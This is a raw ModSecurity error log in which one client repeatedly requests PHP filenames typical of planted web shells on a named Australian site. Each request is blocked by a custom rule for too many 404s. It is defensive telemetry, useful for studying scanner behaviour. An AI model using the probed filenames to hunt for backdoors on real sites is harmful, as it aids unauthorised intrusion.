[Fri Apr 24 02:17:05.972185 2026] [:error] [pid 65000:tid 65049] [client 74.234.74.247:2028] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aepiIb6vRb9j6psK2ZaMjgAAAhA"]
[Fri Apr 24 02:17:06.504970 2026] [:error] [pid 64967:tid 64972] [client 74.234.74.247:1987] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aepiIoAV4GfOOdX8Qzqb8AAAAYM"]
[Fri Apr 24 02:17:07.068524 2026] [:error] [pid 65000:tid 65037] [client 74.234.74.247:1953] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aepiI76vRb9j6psK2ZaMlAAAAgQ"]
[Fri Apr 24 02:17:07.606700 2026] [:error] [pid 64967:tid 64983] [client 74.234.74.247:1906] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aepiI4AV4GfOOdX8Qzqb8gAAAY4"]
[Fri Apr 24 02:17:08.144254 2026] [:error] [pid 65000:tid 65045] [client 74.234.74.247:1878] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aepiJL6vRb9j6psK2ZaMlwAAAgw"]
[Fri Apr 24 02:17:08.703856 2026] [:error] [pid 65000:tid 65032] [client 74.234.74.247:2038] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aepiJL6vRb9j6psK2ZaMmgAAAgM"]
[Fri Apr 24 02:17:09.264650 2026] [:error] [pid 42973:tid 43060] [client 74.234.74.247:2012] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aepiJW6I0QqmmmLTHE2KqAAAAJE"]
[Fri Apr 24 02:17:09.799812 2026] [:error] [pid 65000:tid 65053] [client 74.234.74.247:6194] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aepiJb6vRb9j6psK2ZaMogAAAhQ"]
[Fri Apr 24 02:17:10.342909 2026] [:error] [pid 64998:tid 65017] [client 74.234.74.247:1935] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aepiJoV5EysYcTLjmwhAMgAAAc8"]
[Fri Apr 24 02:17:10.846751 2026] [:error] [pid 42972:tid 43035] [client 74.234.74.247:1913] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "aepiJsOAb-3sOknsk4fMLAAAAFM"]
[Fri Apr 24 02:17:11.377684 2026] [:error] [pid 42973:tid 43051] [client 74.234.74.247:1984] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "aepiJ26I0QqmmmLTHE2KqQAAAIg"]
[Fri Apr 24 02:17:11.912485 2026] [:error] [pid 65000:tid 65045] [client 74.234.74.247:1867] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "aepiJ76vRb9j6psK2ZaMqQAAAgw"]
[Fri Apr 24 02:17:12.450163 2026] [:error] [pid 65000:tid 65052] [client 74.234.74.247:1933] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "aepiKL6vRb9j6psK2ZaMsAAAAhM"]
[Fri Apr 24 02:17:12.989564 2026] [:error] [pid 65000:tid 65047] [client 74.234.74.247:6179] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aepiKL6vRb9j6psK2ZaMswAAAg4"]
[Fri Apr 24 02:17:13.544998 2026] [:error] [pid 42973:tid 43066] [client 74.234.74.247:2034] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aepiKW6I0QqmmmLTHE2KqwAAAJc"]
[Fri Apr 24 02:17:14.934715 2026] [:error] [pid 46953:tid 46962] [client 74.234.74.247:6168] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aepiKknlpdHh-P6wKbp-kgAAAkY"]
[Fri Apr 24 02:17:15.496710 2026] [:error] [pid 59700:tid 59706] [client 74.234.74.247:1923] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aepiK5XyGZJFeAIDWtl8cAAAAUQ"]
[Fri Apr 24 02:17:16.029332 2026] [:error] [pid 46953:tid 46967] [client 74.234.74.247:6202] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aepiLEnlpdHh-P6wKbp-mwAAAks"]
[Fri Apr 24 02:17:16.615398 2026] [:error] [pid 59700:tid 59725] [client 74.234.74.247:1968] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aepiLJXyGZJFeAIDWtl8dwAAAVc"]
[Fri Apr 24 02:17:17.138802 2026] [:error] [pid 42973:tid 43043] [client 74.234.74.247:6230] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aepiLW6I0QqmmmLTHE2KswAAAIA"]
[Fri Apr 24 02:17:17.701783 2026] [:error] [pid 46953:tid 46972] [client 74.234.74.247:2025] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aepiLUnlpdHh-P6wKbp-ngAAAlA"]
[Fri Apr 24 02:17:18.221016 2026] [:error] [pid 64967:tid 64983] [client 74.234.74.247:1924] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aepiLoAV4GfOOdX8Qzqb_AAAAY4"]
[Fri Apr 24 02:17:18.755543 2026] [:error] [pid 65000:tid 65045] [client 74.234.74.247:1967] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aepiLr6vRb9j6psK2ZaMuwAAAgw"]
[Fri Apr 24 02:17:19.302633 2026] [:error] [pid 42972:tid 43018] [client 74.234.74.247:1955] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aepiL8OAb-3sOknsk4fMNQAAAEI"]
[Fri Apr 24 02:17:19.870266 2026] [:error] [pid 42971:tid 43002] [client 74.234.74.247:1897] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aepiLzEP2_5RswrH8bFUJQAAABA"]
[Fri Apr 24 02:17:20.402481 2026] [:error] [pid 25635:tid 25651] [client 74.234.74.247:1864] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aepiMMRxv6UsgRGKB3JTpwAAAQw"]
[Fri Apr 24 02:17:20.972065 2026] [:error] [pid 64967:tid 64982] [client 74.234.74.247:1977] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aepiMIAV4GfOOdX8QzqcAQAAAY0"]
[Fri Apr 24 02:17:21.526732 2026] [:error] [pid 64967:tid 64979] [client 74.234.74.247:1937] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aepiMYAV4GfOOdX8QzqcBAAAAYo"]
[Fri Apr 24 02:17:22.051533 2026] [:error] [pid 43083:tid 43086] [client 74.234.74.247:2036] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aepiMjC5hrvNXosL83Kx4gAAAME"]
[Fri Apr 24 02:17:22.603658 2026] [:error] [pid 46953:tid 46980] [client 74.234.74.247:2045] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "aepiMknlpdHh-P6wKbp-ogAAAlc"]
[Fri Apr 24 02:17:23.208018 2026] [:error] [pid 42971:tid 43009] [client 74.234.74.247:1996] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "aepiMzEP2_5RswrH8bFUKAAAABc"]
[Fri Apr 24 02:17:23.767447 2026] [:error] [pid 46953:tid 46967] [client 74.234.74.247:1889] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "aepiM0nlpdHh-P6wKbp-pAAAAks"]
[Fri Apr 24 02:17:24.316697 2026] [:error] [pid 43083:tid 43093] [client 74.234.74.247:1885] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "aepiNDC5hrvNXosL83Kx6AAAAMg"]
[Fri Apr 24 02:17:24.850617 2026] [:error] [pid 43083:tid 43096] [client 74.234.74.247:1856] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aepiNDC5hrvNXosL83Kx6gAAAMs"]
[Fri Apr 24 02:17:25.432320 2026] [:error] [pid 46953:tid 46964] [client 74.234.74.247:6149] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aepiNUnlpdHh-P6wKbp-qAAAAkg"]
[Fri Apr 24 02:17:26.004226 2026] [:error] [pid 42971:tid 42992] [client 74.234.74.247:1861] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aepiNjEP2_5RswrH8bFULgAAAAY"]
[Fri Apr 24 02:17:26.535451 2026] [:error] [pid 42971:tid 42998] [client 74.234.74.247:1979] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aepiNjEP2_5RswrH8bFUMAAAAAw"]
[Fri Apr 24 02:17:27.075766 2026] [:error] [pid 46953:tid 46975] [client 74.234.74.247:1948] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aepiN0nlpdHh-P6wKbp-rwAAAlM"]
[Fri Apr 24 02:17:27.601866 2026] [:error] [pid 42972:tid 43031] [client 74.234.74.247:1951] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aepiN8OAb-3sOknsk4fMPAAAAE8"]
[Fri Apr 24 02:17:28.184841 2026] [:error] [pid 64998:tid 65004] [client 74.234.74.247:2015] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aepiOIV5EysYcTLjmwhAPQAAAcI"]
[Fri Apr 24 02:17:28.722126 2026] [:error] [pid 46953:tid 46980] [client 74.234.74.247:1813] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aepiOEnlpdHh-P6wKbp-twAAAlc"]
[Fri Apr 24 02:17:30.656752 2026] [:error] [pid 65000:tid 65050] [client 74.234.74.247:1858] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aepiOr6vRb9j6psK2ZaMxwAAAhE"]
[Fri Apr 24 02:17:31.222433 2026] [:error] [pid 42972:tid 43034] [client 74.234.74.247:2031] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aepiO8OAb-3sOknsk4fMQwAAAFI"]
[Fri Apr 24 02:17:31.785830 2026] [:error] [pid 65000:tid 65051] [client 74.234.74.247:1942] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aepiO76vRb9j6psK2ZaMzgAAAhI"]
[Fri Apr 24 02:17:32.364009 2026] [:error] [pid 65000:tid 65046] [client 74.234.74.247:1816] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aepiPL6vRb9j6psK2ZaM0gAAAg0"]
[Fri Apr 24 02:17:32.902540 2026] [:error] [pid 64998:tid 65023] [client 74.234.74.247:1978] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aepiPIV5EysYcTLjmwhASgAAAdU"]
[Fri Apr 24 02:17:33.413602 2026] [:error] [pid 46953:tid 46966] [client 74.234.74.247:1899] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aepiPUnlpdHh-P6wKbp-uwAAAko"]
[Fri Apr 24 02:17:33.927716 2026] [:error] [pid 65000:tid 65039] [client 74.234.74.247:1981] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aepiPb6vRb9j6psK2ZaM2QAAAgY"]
[Fri Apr 24 02:17:34.481453 2026] [:error] [pid 65000:tid 65043] [client 74.234.74.247:1825] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aepiPr6vRb9j6psK2ZaM2wAAAgo"]
[Fri Apr 24 02:17:34.989948 2026] [:error] [pid 65000:tid 65049] [client 74.234.74.247:1866] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aepiPr6vRb9j6psK2ZaM3QAAAhA"]
[Fri Apr 24 02:17:35.520827 2026] [:error] [pid 64998:tid 65006] [client 74.234.74.247:1931] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aepiP4V5EysYcTLjmwhAUAAAAcQ"]
[Fri Apr 24 02:17:36.058115 2026] [:error] [pid 65000:tid 65045] [client 74.234.74.247:1907] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aepiQL6vRb9j6psK2ZaM5AAAAgw"]
[Fri Apr 24 02:17:36.575103 2026] [:error] [pid 25635:tid 25641] [client 74.234.74.247:1970] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aepiQMRxv6UsgRGKB3JTsgAAAQI"]
[Fri Apr 24 02:17:37.126943 2026] [:error] [pid 65000:tid 65043] [client 74.234.74.247:2009] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aepiQb6vRb9j6psK2ZaM7AAAAgo"]
[Fri Apr 24 02:17:37.668820 2026] [:error] [pid 65000:tid 65045] [client 74.234.74.247:1863] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aepiQb6vRb9j6psK2ZaM8QAAAgw"]
[Fri Apr 24 02:17:38.881895 2026] [:error] [pid 59700:tid 59711] [client 74.234.74.247:1857] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aepiQpXyGZJFeAIDWtl8iwAAAUk"]
